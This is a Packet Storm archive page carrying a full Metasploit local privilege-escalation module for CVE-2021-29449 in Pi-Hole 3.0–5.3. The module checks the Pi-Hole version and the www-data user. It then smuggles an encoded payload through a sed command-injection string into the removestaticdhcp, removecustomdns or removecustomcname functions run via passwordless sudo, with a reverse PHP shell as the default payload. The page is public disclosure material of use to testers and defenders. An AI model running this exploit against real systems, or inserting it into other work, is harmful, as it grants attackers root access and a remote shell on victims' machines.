what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pi-Hole Remove Commands Linux Privilege Escalation

Pi-Hole Remove Commands Linux Privilege Escalation
Posted Jul 30, 2021
Authored by h00die, Emanuele Barbeno | Site metasploit.com

Pi-Hole versions 3.0 through 5.3 allows for command line input to the removecustomcname, removecustomdns, and removestaticdhcp functions without properly validating the parameters before passing to sed. When executed as the www-data user, this allows for a privilege escalation to root since www-data is in the sudoers.d/pihole file with no password.

tags | exploit, root
advisories | CVE-2021-29449
SHA-256 | 7265358e3e4327bc951c92f719451fce4a2ce957a5c1a6bde9f57d3d6646ee0f

Pi-Hole Remove Commands Linux Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

# includes: is_root?
include Msf::Post::Linux::Priv
# includes writable?, upload_file, upload_and_chmodx, exploit_data
include Msf::Post::File
# for whoami
include Msf::Post::Unix
# for get_session_pid needed by whoami
include Msf::Post::Linux::System
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
'Description' => %q{
Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
removecustomdns, and removestaticdhcp functions without properly validating
the parameters before passing to sed. When executed as the www-data user,
this allows for a privilege escalation to root since www-data is in the
sudoers.d/pihole file with no password.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis
],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
'Payload' =>
{
'BadChars' => "\x27" # '
},
'Privileged' => true,
'References' =>
[
[ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],
[ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
[ 'CVE', '2021-29449' ]
],
'DisclosureDate' => '2021-04-20',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
},
'Targets' => [
['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec
['DNS', { 'min' => Rex::Version.new('5.0') }],
['CNAME', { 'min' => Rex::Version.new('5.1') }],
],
'DefaultTarget' => 0
)
)
end

def sudo_pihole
'sudo /usr/local/bin/pihole -a'
end

def pihole_version
version = cmd_exec('sudo /usr/local/bin/pihole -v')
/Pi-hole version is v([^ ]+)/ =~ version
Rex::Version.new(Regexp.last_match(1))
end

def check
w = whoami
print_status("Current user: #{w}")
v = pihole_version
print_status("Pi-hole version: #{v}")
unless v.between?(target['min'], Rex::Version.new('5.3'))
return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
end
unless w == 'www-data'
return CheckCode::Safe("User must be www-data, currently #{w}")
end

CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
end

def method_dhcp
f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
if !file?(f) || read_file(f).empty?
mac = Faker::Internet.mac_address
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
print_status("Adding static DHCP #{mac} #{ip}")
cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removestaticdhcp command')
cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")
if mac
cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
end
end

def method_dns
f = '/etc/pihole/custom.list'
if !file?(f) || read_file(f).empty?
name = Faker::Internet.domain_name
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
print_status("Adding DNS entry #{name} #{ip}")
cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removecustomdns command')
cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")
if name
cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")
end
end

def method_cname
f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'
if !file?(f) || read_file(f).empty?
name = "#{rand_text_alphanumeric(8..12)}.edu"
print_status("Adding CNAME entry #{name}")
cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removecustomcname command')
cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")
if name
cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")
end
end

def exploit
if target.name == 'DHCP'
method_dhcp
elsif target.name == 'DNS'
method_dns
elsif target.name == 'CNAME'
method_cname
end
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close